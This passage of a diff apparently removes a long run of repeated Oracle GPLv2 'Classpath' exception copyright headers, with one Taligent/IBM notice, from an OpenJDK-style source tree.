-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
-(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996 - 1999 - All Rights Reserved
-
-The original version of this source code and documentation
-is copyrighted and owned by Taligent, Inc., a wholly-owned
-subsidiary of IBM. These materials are provided under terms
-of a License Agreement between Taligent and Sun. This technology
-is protected by multiple US and International patents.
-
-This notice and attribution to Taligent may not be removed.
-Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2006, 2007, Oracle and/or its affiliates. All rights reserved.
-
--------------------------------------------------------------------
-
-Copyright (c) 2006, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2006, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2006, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2007, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2007, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2007, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2007, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2007, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2007, Oracle and/or its affiliates. All rights reserved.
-
--------------------------------------------------------------------
-
-Copyright (c) 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2008, 2009,  Oracle and/or its affiliates. All rights reserved.
-
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2008, 2009, Oracle and/or its affiliates. All rights reserved.
-
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2008, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2008, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2008, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2008, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2009, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2009, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2009, 2013, Oracle and/or its affiliates. All rights reserved.
-Copyright 2009 Google Inc.  All Rights Reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2010, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
